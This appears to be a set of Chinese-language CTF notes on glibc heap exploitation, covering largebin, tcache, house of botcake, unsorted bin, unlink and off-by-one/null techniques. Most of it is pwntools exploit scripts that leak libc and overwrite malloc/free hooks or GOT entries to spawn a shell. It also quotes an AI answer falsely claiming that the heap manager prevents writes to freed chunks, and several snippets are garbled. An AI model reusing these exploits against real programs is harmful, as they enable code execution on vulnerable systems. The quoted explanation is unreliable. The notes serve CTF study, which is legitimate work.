victim->fd_nextsize = fwd->fd; //我们申请的小堆块的fd_nextsize指向了main_arena的fd指针,也就是所在的large_bin的最大的堆块
victim->bk_nextsize = fwd->fd->bk_nextsize;//攻击点,没有检测,所以我们可以伪造大堆块的bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; //先进行右值运算,如果在没有进行修改的情况下,等式可以化简为fwd->fd->bk_nextsize = victim,也就是最大堆块的bk_nextsize指向我们的最小堆块victim
}

这段代码与unsorted_bins、large_bins有关,这是从unsorted_bins里提取出来的堆块((unsigned long) (size))与large_bins里的最小堆块((unsigned long) chunksize_nomask (bck->bk))进行比较,如果unsorted出来的堆块更小,就执行如上操作。

所以我们先往largebin里面放一个堆块,然后unsortbin里面有个比largebin已有的小的堆块,然后申请一个比已有unsortbin打的堆块,unsortbin中的堆块就会进入largebin,完成往任意地址写堆块地址

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
add(0,0x450)
add(1,0x428)
add(2,0x440)
free(0) #0进入unsortbin
add(3,0x500) #0进入largebin
free(2) #2进入unsortbin
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x21b0e0 #泄露libc
print(hex(libc_base))
edit(0,b'a'*15+b'b')
show(0)
p.recvuntil(b'ab')
addr2 = u64(p.recv(6).ljust(8, b'\x00')) #泄露堆块地址
addr1 = addr2+0x890 #2
pie = addr2-0x5290
print(hex(pie))
edit(0,p64(0)*3+p64(listall-0x20)) #改bk_next
add(4,0x500) #2进入largebin且比largebin中的最小的堆块小

例:how2heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
size_t target = 0;
size_t *p1 = malloc(0x428);
size_t *g1 = malloc(0x18);
size_t *p2 = malloc(0x418);
size_t *g2 = malloc(0x18);
free(p1);
size_t *g3 = malloc(0x438); #p1进入largebin
free(p2);
p1[3] = (size_t)((&target)-4);
size_t *g4 = malloc(0x438); #p2进入largebin,且p2是小于p1的
assert((size_t)(p2-2) == target);
return 0;
}


tcache介绍

  • 1.每个线程默认使用64个单链表结构的bins,每个bins最多存放7个chunk,64位机器16字节递增,从0x20到0x410,也就是说位于以上大小的chunk释放后都会先行存入到tcache bin中,当申请大于7个就会放入fastbins,但是tcache优先级高于fastbins,tcache先被申请出来
  • 2.对于每个tcache bin单链表,它和fast bin一样都是先进后出,而且prev_inuse标记位都不会被清除,所以tcache bin中的chunk不会被合并,即使和Top chunk相邻。
  • tcache机制出现后,每次产生堆都会先产生一个0x250大小的堆块,该堆块位于堆的开头,用于记录64个bins的地址(这些地址指向用户数据部分)以及每个bins中chunk数量。在这个0x250大小的堆块中,前0x40个字节用于记录每个bins中chunk数量,每个字节对应一条tcache bin链的数量,从0x20开始到0x410结束,刚好64条链,然后剩下的每8字节记录一条tcache bin链的开头地址,也是从0x20开始到0x410结束。还有一点值得注意的是,tcache bin中的fd指针是指向malloc返回的地址,也就是用户数据部分,而不是像fast bin单链表那样fd指针指向chunk头。
  • img

tcache绕过

1.绕过tcache进行fastbin attack申请大小相同的七个堆块,然后在申请一个,free7个,free最后申请的那个就会进入fastbin

2.绕过tcache bin ,利用unsorted bin,申请大于0x400的堆块,要防止堆块和top chunk合并

3.使用calloc
calloc函数不会分配tcache bin中的堆块,因此如果题目中出现了calloc函数,我们可以想到利用该函数直接绕过tcache,从而获得其它bin上的chunk。

申请8个free8个使用calloc申请就会直接获取ast bin上的chunk块(正常是先会申请tcache上的)

tcache extend

1.tcache机制情况下的chunk extend,相比较于fastbin,tcache机制的加入使得漏洞利用更简单,因此实现chunk extend也更轻松,不用正确标记next chunk的size,只需要修改当前chunk的size。我们free再malloc后就可以获得对应大小的chunk

2.glibc-2.27版本引入了tcache,但此时还没引入tcache的检测,所以基本就是想怎么申请都行,直接利用use aftr free,修改fd为__malloc/free_hook

3.glibc-2.31版本引入了tcache长度保护,会检测bins上的个数是否和申请的匹配,不匹配的话没法申请出来。比如说tcache_bins上0x90的chunk个数为0,但是我们gdb里显示我们劫持的地址还没申请出来,这个时候如果malloc的话是无效的,没法申请出来。所以要是想劫持hook地址,我们就需要至少两个堆块被free进了tcache_bins里,修改头指针fd为hook即可

1.tcachebin uaf

1.glibc-2.27的tcachebin改fd指针申请堆块不会检查,所以可以随便改(也就是打malloc/free不用找size位为0x7f的了),这使得打free_hook,更简单

2..glibc-2.31版本引入了tcache长度保护,会检测bins上的个数是否和申请的匹配,比如说tcache_bins上0x90的chunk个数为0,但是我们gdb里显示我们劫持的地址还没申请出来,这个时候如果malloc的话是无效的,没法申请出来。所以要是想劫持hook地址,我们就需要至少两个堆块被free进了tcache_bins里,修改最后被free的那个堆块的fd指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
for i in range(8):
add(i,0x80)
bug()
add(8,0x10)
for i in range(8):
free(i)
bug()
show(7)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3ebca0
log.success('libc_base-->'+hex(libc_base))
__free_hook = libc_base+libc.sym['__free_hook']
edit(6,p64(__free_hook))
bug()
add(9,0x80)
edit(9,b'/bin/sh\x00')
add(10,0x80)
system = libc_base +libc.sym['system']
edit(10,p64(system))
free(9)

先申请7个,在申请一个就会在unsortbin,利用这个泄露libc,修改最后一个tcachebin的fd,申请两次就把free_hook申请出来了

2.tcachebin off by null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
for i in range (7):
add(i,0xf0)
add(7,0xf0)
add(8,0x88)
add(9,0xf0)
add(10,0x10)
for i in range(8):
free(i)
payload = b'\x00'*0x80+p64(0x190)
edit(8,payload)
free(9)
for i in range(7):
add(i, 0xf0)
add(7, 0xf0)
show(8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3ebca0
log.success('libc_base-->'+hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
add(11,0x88)
free(11)
bug()
edit(8,p64(free_hook))
add(12,0x88)
add(13,0x88)
system = libc.sym['system']+libc_base
edit(13,p64(system))
edit(12,b'/bin/sh\x00')
free(12)

具体就是绕过tcachebin,将堆块申请在unsortbin就行具体就不解释了,和正常的off by null一样

3.tcachebin off by one

让合并后的堆块大于0x400,进入unsortbin就可以

1
2
3
4
5
6
7
8
9
10
11
12
d(0x18, 'aaaa') #0
add(0x68, 'aaaa') #1
add(0x68, 'aaaa') #2
add(0x10, 'aaaa') #3
payload = 'a'*0x18 + '\xe1'
edit(0, payload)
delete(1)
add(0x60, 'aaaa')
show(2
add(0x68,b'\x00'*8)
free(4)
edit(2,p64(fake_chunk_addr))

知识点:

1.当系统需要分配内存,且 tcache bin 和 fastbin 中都找不到合适的堆块时,就会到 unsorted bin 上寻找。如果申请的内存堆块小于 unsorted bin 中某个堆块的大小,那么会将该内存块切割后返回给用户,剩下的部分仍然保存在 unsorted bin 上;如果申请的内存堆块大于 unsorted bin 上存放的堆块大小,那么会从 Top chunk 上重新分割,此时就会把 unsorted bin 上的堆块按照大小放回 small bin 和 large bin 中。

2.当从smallbin中申请出来一个堆块,smallbin剩余的堆块就会被挂进tcachebin,并且只会检查第一个被挂进tcachebin的堆块

利用前提:有calloc

首先申请9个堆块,先释放3-8,再将堆块1,释放,最后释放0,2

img

解释:这样目的是为了后面申请0xb0的堆块,tcache bin 和 fastbin 中都找不到合适的堆块,且unsortbins也不能合并(因为不相邻),这样最后会从top_chunk中新申请一个0xb0(data部分为0xa0)大小的堆块,并且将unsorted bin中的两个堆块,按照大小排列在small bin中:

img

然后在申请两个0xa0的堆块,将tcache bin空出来

img

img

将2的bk改为任意地址,然后用calloc申请堆块,堆块0就会被申请出来,堆块2,与伪造堆块2后面的堆块就会被放入tcache bin

img

5.高版本没有edit tcachebin attack

glibc2.29~glibc2.39,tcache加入了 key 值来进行 double free 检测,以至于在旧版本时的直接进行 double free 变的无效,所以自然就有了绕过方法,绕过方法其中比较典型的就是 house of botcake,他的本质也是通过 UAF 来达到绕过的目的

当 free 掉一个堆块进入 tcache 时,假如堆块的 bk 位存放的 key == tcache_key , 就会遍历这个大小的 Tcache ,假如发现同地址的堆块,则触发 Double Free 报错。

从攻击者的角度来说,我们如果想继续利用 Tcache Double Free 的话,一般可以采取以下的方法:

之前只是检查链表的上一个,这次是检查全部的链表

从攻击者的角度来说,我们如果想继续利用 Tcache Double Free 的话,一般可以采取以下的方法:

  1. 破坏掉被 free 的堆块中的 key,绕过检查(常用)
  2. 改变被 free 的堆块的大小,遍历时进入另一 idx 的 entries
  3. House of botcake(常用没有edit)

1.free后用uaf改bk,然后就可以再次free

2没学

3.House of botcacke 合理利用了 Tcache 和 Unsortedbin 的机制,同一堆块第一次 Free 进 Unsortedbin 避免了 key 的产生,第二次 Free 进入 Tcache,让高版本的 Tcache Double Free 再次成为可能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
for i in range(7):
add(i,0x100,b'aaaa')
add(7,0x100,b'aaaa')
add(8,0x100,b'aaaa')
add(9,0x10,b'/bin/sh\x00')
for i in range(7):
free(i)
free(8)
show(8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x1ebbe0
print(hex(libc_base))
free(7)
add(10,0x100,b'aaaa')
system = libc_base +libc.sym['system']
free(8)
free_hook=libc_base+libc.sym['__free_hook']
payload = b'a'*0xf0+p64(0)*3+p64(0x101)+p64(free_hook)
add(11,0x150,payload)
add(12,0x100,b'aaaa')
add(13,0x100,p64(system))
free(9)
for i in range(7):
add(i,0x100,b'aaaa')
add(7,0x100,b'aaaa')
add(8,0x100,b'aaaa')
add(9,0x10,b'/bin/sh\x00')
for i in range(7):
free(i)
free(8)

堆块8进入unsortbin

1
free(7)

堆块8与堆块7合并

1
malloc(0x100)

tcachebin中就空出来一个

然后再次

1
free(8)

这时8被free两次,一次在unsortbin中,另一次在tcachebin中,而且形成堆叠,8在7这个合并的大堆块中

1
add(11,0x150,payload)

申请一个大堆块,改堆块8的fd

tcachebin attack

提问:为什么不能先free(7)后free(8)

因为后面double free free(7),unsortbin链表就被破坏了

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
for i in range(7):
add(i,0x100,b'aaaa')
add(7,0x100,b'aaaa')
add(8,0x100,b'aaaa')
add(9,0x10,b'/bin/sh\x00')
for i in range(7):
free(i)
free(7)
show(7)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x1ebbe0
print(hex(libc_base))
free(8)
bug()
add(10,0x210,b'\x10')
add(11,0x100,b'/bin/sh\x00')
free(8)
free(10)
add(12,0x210,b'a'*0x110+p64(fd))
for i in range(7):
add(i,0x100,b'aaaa')
add(7,0x100,b'aaaa')
add(8,0x100,b'aaaa')
add(9,0x10,b'/bin/sh\x00')
for i in range(7):
free(i)
free(7)
free(8)

7,8堆块合并进入unsortbin

1
add(10,0x210,b'\x10')

将他两个申请出来,但是有uaf,所以7堆块和10堆块的指针指向同一块地址

1
add(11,0x100,b'/bin/sh\x00')

将tachebin空出来一个

1
free(8)

进入tachebin

1
2
free(10)
add(12,0x210,b'a'*0x120)

free10,又将10申请出来,12就可以覆盖到8

5.高版本glibc的tcache和fastbin指针加密机制

高版本tcachebin有加密机制,当free后堆块地址会加密,我们改fd指针,他会解密,然后就错了,所以我们先按照他的方法加密,写进去他解密就是对的

加密:原来指针^加密指针>>12

heap = u64(p.recv(5).ljust(8, b’\x00’))<<12

fd=(fd)^(heap)>>12


作用:

Unsorted Bin Attack从字面上就可以看出,正合适一种针对Unsorted Bin机制的攻击手法。这种攻击手法实现的前提是能够控制挂进unsorted bin中的chunk的bk指针,在控制bk指针的情况下可以实现修改任意地址值为一个较大的数值。没错就是较大的数,这个数是不可控的,所以我是真的没有想明白这个攻击手法除了CTF之外还有什么实际的用处😂

Unsorted bin中chunk的主要来源

1.当一个较大的chunk被分割成两部分后,如果剩下的部分大于MINSIZE,则会被放进Unsorted bin中

2.释放一个不属于fast bin的chunk,并且该chunk不与top chunk相邻,该 chunk会被首先放到Unsorted bin中

3.当进行malloc_consolidate(块合并)时,如果合并后的chunk不与top chunk相邻,则可能会把合并后的chunk放到Unsorted bin中

基本使用情况

Unsorted Bin在使用过程中,采用的遍历顺序是FIFO(先进先出),即挂进链表的时候依次从Unsorted bin的头部向尾部挂,取的时候是从尾部向头部取

在程序malloc时,如果fast bin、small bin中找不到对应大小的chunk,就会尝试从Unsorted bin中寻找chunk。如果取出来的chunk的size刚好满足,则直接交给用户,否则就会把这些chunk分别插入到对应的bin中

img

申请两个堆块,第一个小一点方便溢出,第二个一定要在unsortbin,释放第二个堆块,利用uaf或者堆溢出漏洞,将第二个堆块的bk指针改为要改数据的地址-0x10,这样在第二个堆块后面就伪造了一个被free的堆块(这个堆块fd指针的地址刚好就是要改数据的地址),当第二个堆块被申请走,fd指针指向main_arena-88,也就被改为了一个很大的值(其实就是main_arena-88)


一.堆溢出unlink

条件:当使用 free 函数释放一个堆块时,如果相邻的堆块(前一个或后一个)也处于空闲状态,就可能触发 unlink 操作,以将相邻的空闲堆块合并成一个更大的空闲块,从而提高内存的利用率。具体来说,如果被 free 的堆块的 P 位为 0,说明其前一个堆块为空,就会对前一个堆块进行 unlink 操作,将前一个堆块与当前被 free 的堆块进行后向合并;如果相邻的下一个堆块处于空闲状态,则会进行向前合并。

unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量

img也就是这样

img

那具体拖链是如何实现的

1
2
3
4
FD = P->fd;                                   \
BK = P->bk; \
FD->bk = BK; \
BK->fd = FD; \

也就是我的上一个的下一个=我的下一个,我的下一个的上一个=我的上一个

FD = p->fd

FD = 堆块3chunk头所在的地址

BK = P->bk;

p->bk

BK = 堆块1chunk头所在的地址

FD->bk = BK;

堆块3的bk指针指向BK(堆块1chunk头所在地址)

BK->fd = FD;

堆块1的fd指针指向FD(堆块3chunk头所在地址)

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

这个也就是p–>fd–>bk = p–>bk–>fd = p

堆块2的下一个堆块的上一个堆块 = 堆块2的上一个堆块的下一个堆块=堆块2

那么如何绕过与利用呢?

img

就解释一点吧

chunk = 0x602280

为什么BK->fd == *(0x602270+0x10)

因为chunk头-0x18就是bk指针所在的地址,*()也就是解引用bk指针的值,正常得到的是上一个堆块的chunk头所在的地址,在这里得到的就是堆块2chunk头所在的地址

在这里BK->fd =FD,就是*(0x602270+0x10) = 0x602268

也就是往chunk里面写入了chunk-0x18的值

也就是将堆指针指向的地址改成了chunk-0x18

然后我们往堆块2中写入东西,他就会往堆指针指向的地址里面写,也就是往这个地址里面写0x602268,顺着往下写就会写入0x602280,那么就可以将堆的指针指向的地址改为任意值,就实现任意地址写了

我们结合题目看一下

最最最重要的,要把头部构造在指针的位置

触发unlink一定要伪造一个free掉的堆块在指针处,因为unlink比较是和头部比较,而数组中存储的是指针的值,所以要伪造头部在指针处才能绕过保护

1.有打印堆块的功能

1
2
3
4
5
6
7
8
add(0x80,b'chunk0')
add(0x80,b'chunk1')
#bug()
payload = p64(0)+p64(0x81)+p64(0x06020C8-24)+p64(0x06020C8-16)+b'a'*0x60+p64(0x80)+p64(0x90)
edit(0,0x90,payload)
free(1)
payload = b'a'*24+p64(elf.got['atoi'])
edit(0,len(payload),payload)

申请两个在unsortbin的堆块,在堆块0中伪造一个free的堆块,并将堆块2的pre_inuse位设为0,这样就伪造堆块0为free掉的堆块,free堆块1就会触发unlink

chunk = 0x06020C8

fd = chunk-0x18

bk = chunk -0x10

看一下gdb

img

会很明显是往chunk里面写入了chunk - 0x18

然后我们接着修改堆块的内容,也就是往chunk - 0x18中写入数据,先写0x18个垃圾数据,然后再写的就是往chunk中写,也就是往指针所在的地址写,改变指针所存储的值,也就是指针指向的地址

我们将他写为atoi

payload = b’a’*24+p64(elf.got[‘atoi’])

img

可以看到已经成功了

此时可以泄露libc,我们打印这个堆块,就会将atoi的真实地址打印出来

我们再次修改这个堆块的内容,也就是修改atoi的got表,把他改成system,在调用atoi的时候就会触发system,获得shell

2.没有打印堆块的功能

没有打印堆块,我们就无法泄露libc,但是我们通过都能实现任意地址写了,我们可以将free的got表改为puts

free堆块时候,就可以打印

我们观察gdb,看具体是如何实现的

img
将第一个堆块指针指向的地址改为free的got表

第二个改为atoi的got表

然后修改第二个堆块的内容为puts函数的plt表这样free堆块时候,就会打印处来堆块的内容,泄露libc

img

然后在修改堆块2的内容为system的真实地址

在申请一个堆块,内容写为/bin/sh\x00

free这个堆块就可以获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
add(0x10)
add(0x80)
add(0x80)
FD = 0x602150-24
BK = 0x602150-16
payload = p64(0)+p64(0x81)+p64(FD)+p64(BK)+b'a'*0x60+p64(0x80)+p64(0x90)
edit(2,len(payload),payload)
free(3)
payload = p64(0)*2+p64(elf.got['free'])+p64(elf.got['atoi'])
edit(2,len(payload),payload)
#bug()
edit(1,0x8,p64(elf.plt['puts']))
free(2)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['atoi']
print(hex(libc_base))
system = libc_base+libc.sym['system']
edit(1,0x8,p64(system))
add(0x10)
payload = b'/bin/sh\x00'
edit(4,len(payload),payload)
#bug()
free(4)

最后:需要注意触发unlink free的堆块的上一个需要是free状态,所以我们要伪造堆块2为free状态,让后free堆块3就会触发unlink

那具体是如何伪造的?

我们在堆块2中再伪造一个假堆块

使pre_size = 0

size = 0xn1(n为伪造堆块大小)

fd = chunk-0x18

bk = chunk-0x10

使堆块3

pre_size = 0xn0

size = size(本堆块大小,0xm0) p位为0

这样就伪造堆块2为free状态,然后free堆块3,触发unlink,实现chunk = chunk-0x18

当off by one/null时候因为会多一个字节,free后面就是puts,puts的got表就会被破坏,所以要这样子改,将puts的got表改为printf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
edit(6,b'a'*51+p64(elf.got['free'])+p64(elf.got['atoi']))
edit(0,p64(elf.plt['puts'])+p64(elf.plt['printf']))
bug()
free(1)
atoi = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(atoi))
libc_base = atoi-libc.sym['atoi']
print(hex(libc_base))
bug()
system = libc_base +libc.sym['system']
edit(3,'/bin/sh')
edit(0,p64(system)+p64(elf.plt['printf']))
#bug()
free(3)

img

img

这里也能看到多了一个0xa


一、2.23

1.off by one,fastbin attack打malloc

1.通过off by one使堆块合并泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
add(0x18,b'aaaa')
add(0x68,b'bbbb')
add(0x68,b'cccc')
add(0x18,b'dddd')
edit(0,b'a'*24+b'\xe1')
free(1)
add(0x68,b'\x00'*8)
show(2)
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#p=remote('node3.buuoj.cn',28465)
p=process('./vm')
elf=ELF('./vm')
libc = ELF('/home/he/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def bug():
gdb.attach(p)
def add(size,content):
p.recvuntil("choice: ")
p.sendline("1")
p.sendlineafter("size?",str(size))
p.sendlineafter("content:",content)
def edit(idx,content):
p.recvuntil("choice: ")
p.sendline("2")
p.sendlineafter("idx?",str(idx))
p.sendlineafter("content:",content)
def dump(idx):
p.recvuntil("choice: ")
p.sendline("3")
p.sendlineafter("idx?",str(idx))
def free(idx):
p.recvuntil("choice: ")
p.sendline("4")
p.sendlineafter("idx?",str(idx))
add(0x18,b'aaaa')
add(0x68,b'bbbb')
add(0x68,b'cccc')
add(0x18,b'dddd')
edit(0,b'a'*24+b'\xe1')
free(1)
#bug()
add(0x68,b'\x00'*8)
dump(2)
fd = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success('fd:'+hex(fd))
libc_base = fd - 0x3c4b78
log.success('libc_base:'+hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
fake_chunk_addr=malloc_hook-0x23
log.success('fake_chunk_addr:'+hex(fake_chunk_addr))
add(0x68,b'\x00'*8)
free(2)
edit(4,p64(fake_chunk_addr))
add(0x68,b'aaaa')
#bug()
one_gadget=libc_base+0x4527a
realloc_addr=libc_base+libc.sym['__libc_realloc']
log.success('realloc_addr:'+hex(realloc_addr))
log.success('one_gadget:'+hex(one_gadget))
payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
bug()
add(0x68,payload)

p.recvuntil("choice: ")
p.sendline("1")
p.sendlineafter("size?",str(0x18))
p.interactive()

add(0x18, ‘aaaa’) #0

必须是0x8结尾,这样才能覆盖size位

add(0x68, ‘aaaa’) #1

add(0x68, ‘aaaa’) #2

合并的堆块要进入unsortbins

add(0x10, ‘aaaa’) #3

payload = ‘a’*0x18 + ‘\xe1’

\xe1是两个堆块合并后size位的大小

edit(0, payload)

往堆块0里面写因为off by one多写一个字节,使堆块1的size位被覆盖使得堆块1,2合并

delete(1)

free掉堆块1,虽然在gdb中显示的是合并的整个大堆块被free了,但是堆块2并未被真正free,指针位未清零

add(0x60, ‘aaaa’)

将堆块1申请出来,堆块2还是被free状态(但是指针位未清零,此时fd与bk都指向main_arena+88,也就是unstort的头)

show(2)

打印堆块2,就可以将main_arena+88的地址打印出来,根据偏移就可以算出libc

fake_chunk_addr=malloc_hook-0x23

假堆块的地址,为什么要选泽malloc_hook-0x23 因为malloc_hook-0x23,因为这里的size是0x7f,属于fastbin的范围,而且是在malloc_hook与realloc_hook的下面,可以修改其值,执行为one_gadget

add(0x68,b’\x00’*8)

将被指针未清零的的堆块2申请出来,也就是堆块4,堆块2,4指向的是同一个位置(所以gdb中只显示四个堆块)

free(4)

将堆块4free

edit(2,p64(fake_chunk_addr))

通过堆块2修改已经free的堆块4的fd指针,修改为假的堆块地址

add(0x68,b’aaaa’)

将堆块4申请出来

payload=b’a’*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)

#bug()

add(0x68,payload)

这个堆块在gdb中是看不到的,但是可以通过查看内存,看内容是否被更改

这个堆块就是假的堆块了(0x13-0x08)这个是从malloc_hook-0x13的位置开始写入,因为size位0x10,指针指向写入数据的地方,-0x8是因为malloc_hook-0x8就是realloc_hook,将(malloc_hook-0x8)也就是realloc_hook的位置写入one_gadget,将malloc_hook的地方写入realloc_addr+12(这个是为了满足one_gadget调用的条件)

  • **malloc_hook** 设置为 **realloc+offest**:通过覆盖堆上的函数指针,将 malloc_hook 指向 realloc
  • **realloc_hook** 设置为 **one_gadget**:通过覆盖堆上的另一个函数指针,将 realloc_hook 指向 one_gadget

这样,程序在调用 malloc 时,会跳转到 realloc,而在执行 realloc 时,会跳转到 one_gadget,最终执行恶意代码

主要原因、realloc函数中有大量的push指令**(在执行__realloc_hook之前),因此我们将realloc函数的地址加上一定的偏移,就可以选择去执行一定量的push指令,从而抬高栈帧(我指的抬高栈帧是栈帧又向着低地址增长了)。这样rsp增加了之后,我们就可以控制例如rsp+0x30,让其内存值正好落在0处。

img

img

p.recvuntil(“choice: “)

p.sendline(“1”)

p.sendlineafter(“size?”,str(0x18))

p.interactive()

调用malloc获取shell

调用malloc函数—->判断是否有malloc_hook,有则调用之—->我们这里malloc_hook设置的为realloc函数+offset,程序便到此处执行—->执行realloc函数时,会判断是否有realloc_hook,有则调用之—->我们这里realloc_hook设置的为one_gadget,所以便会转到one_gadget处执行。

疑问:那为什么不可以直接修改堆块2的内容也就是修改fd的值为假堆块,也就是为什么堆块2可以被打印,但无法修改里面的内容

答案来自gpt:

  • 堆块合并:通过修改堆块的 size 字段,堆块1和堆块2被堆管理器合并成一个大的空闲堆块,释放堆块1,虽然gdb中显示整个大堆块被释放,但是堆块2并没有被显式释放。
  • 堆块2依然存在:虽然堆块2在gdb中显示被释放,但堆管理器并没有清除其内容,因此堆块2的内存仍然可以被访问,甚至打印出来。
  • 堆块2无法修改:因为堆块2已经被堆管理器标记为“空闲”,堆管理器限制了对其的修改操作,以防止潜在的内存破坏和不一致性。
  • 堆管理的内存保护:空闲块的内容通常不会被修改,堆管理器会确保内存的完整性,避免对空闲块的修改。只有在空闲块被重新分配或被进一步操作时,堆块的内容才可能被清除或修改。

fastbins打malloc_hook与free_hook,都把堆块申请在malloc_hook/free_hook-0x23

2.off by null

1.利用off by null,堆块合并泄露libc

1.有edit

1
2
3
4
5
6
7
8
9
10
11
12
add(0x200,b'chunk0')
add(0x68,b'chunk1')
add(0x1f0,b'chunk2')
add(0x10,b'chunk3')
bug()
free(0)
edit(1,b'a'*0x60+p64(0x280))
free(2)
bug()
add(0x200,b'chunk0')
show(1)
fd = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

add(0x200,b’chunk0’)

这个随便但是要在unsortbins

add(0x68,b’chunk1’)

必须在fastbins,而且必须是0x8结尾,因为这样才能覆盖到chunk2的pre_size位

add(0x1f0,b’chunk2’)

堆块的size位必须是整百,这样off by null溢出的\x00就会将p位覆盖为零且不影响size位

add(0x10,b’chunk3’)

防止与top_chunk合并

bug()

free(0)

为后来泄露libc做准备

edit(1,b’a’*0x60+p64(0x280))

覆盖堆块1的pre_size位与p位,欺骗前面的堆块被free

free(2)

使三个堆块合并成一个大堆块

add(0x200,b’chunk0’)

将堆块0申请回来,使fd与bk压入堆块1

show(1)

泄露libc

2.没有edit,使用add来修改size位

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x200,b'chunk0')
add(0x18,b'chunk1')
add(0x1f0,b'chunk2')
add(0x10,b'chunk3')
bug()
free(0)
free(1)
add(0x18,b'a'*0x10+p64(0x230))
free(2)
bug()
add(0x200,b'chunk0')
show(0)
fd = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

这里就只解释一下为什么是show(0),因为将堆块0,1都free了,所以先申请的0x18的堆块变成了堆块0,后申请的0x200的是堆块1

2.off by null fastbin attack 打malloc

因为我们将堆块0,又申请出来了,导致堆块1是free状态,可以打印,但无法修改,所以没发改fd,进行fastbin attach

所以我们再多申请一个,使得四个堆块堆叠,堆块1泄露libc,用堆块2改fd进行fastbin attach

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
add(0x100 , b'chunk0')
add(0x100 , b'chun1')
add(0x68 , b'chunk2')
add(0xf0 , b'chunk3')
add(0x10 , b'chunk4')
payload = p64(0) * 12+ p64(0x290)
edit(2 , payload)
free(0)
free(3)
add(0x100 , b'chunk0')
show(1)
fd =u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success('fd = '+hex(fd))
pause()
libc_base = fd - 0x3c4b78
malloc_hook=libc_base+libc.sym['__malloc_hook']
fake_chunk_addr=malloc_hook-0x23
log.success('fake_chunk_addr = '+hex(fake_chunk_addr))
free(2)
add(0x120, b'\0'*0x108+flat(0x71, fake_chunk_addr))
bug()
one_gadget=libc_base+0x4527a
realloc_addr=libc_base+libc.sym['__libc_realloc']
add(0x68,b'aaaa')
payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)
add(0x68,payload)
p.sendline(b'1')
p.recvuntil(b"How much do you want")
p.sendline(b'0x18')
#bug()
p.interactive()

free(2)

add(0x120, b’\0’*0x108+flat(0x71, fake_chunk_addr))

将堆块2free,申请处0x120,将堆块2的fd改了,fastbin attack

在这里就解释一下这个

为什么不能直接修改chunk2,因为堆块已经合并了,即使修改修改完fd也申请不出来,只能将chunk2前一个堆块先申请出来,多申请一点,带着把chunk2的fd给修改了

add(0x80,b’chunk0’)

add(0x68,b’chunk1’)

add(0xf0,b’chunk2’)

add(0x10,b’chunk3’)

bug()

free(0)

payload = b’\x00’*0x60+p64(0x100)

edit(1,payload)

free(2)

这个与前面的一样就不解释了

然后最关键的来了

free(1)(堆块1其实被free了两次)

add(0xa0, b’\0’*0x88+flat(0x71, 0x6020a0-3))(堆叠改,也可以double free具体实现看下面代码)

这个就是fastbin attack,为什么选在0x6020a0-3,因为fastbin可以申请在这里,而且距离堆块指针所在的地址近

看一下gdb就明白了

img

fastbin可以申请在这里

img

并且距离指针所在地址近,往下面覆盖可以更改指针指向的地址,也就是指针的值,就行unlink一样

add(0x68,b’\n’)

add(0x68, b’\0’*3 + flat(0,0,0,0, elf.got[‘atoi’], elf.got[‘puts’]))

再来理解一下这个,申请两次就把0x6020a0-3这个位置申请出来了,然后因为chunk头,我们其实是从0x6020b0-3这个位置开始写的,先写三个0对齐

然后看gdb吧

img

补充p64(0)*4

然后再写就写到0x6020d0,与0x6020d8,也就是将chunk2,chunk3,指针所指向的地址改成了

elf.got[‘atoi’], elf.got[‘puts’]

img

img

然受show(3)泄露libc,修改堆块2,将atoi got表改成system

4.off by null 实现double free

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x80) #0
add(0x68) #1
add(0x1f0) #2
add(0x18) #3
free(0)
edit(1,p64(0)*12+p64(0x100))
free(2) #为了造成1uaf,1被free了但是指针位清零
add(0x80) #1
add(0x68) #2
free(1)
edit(2,p64(0x60209d))
add(0x68)
add(0x68)

二、2.27

1.off by null

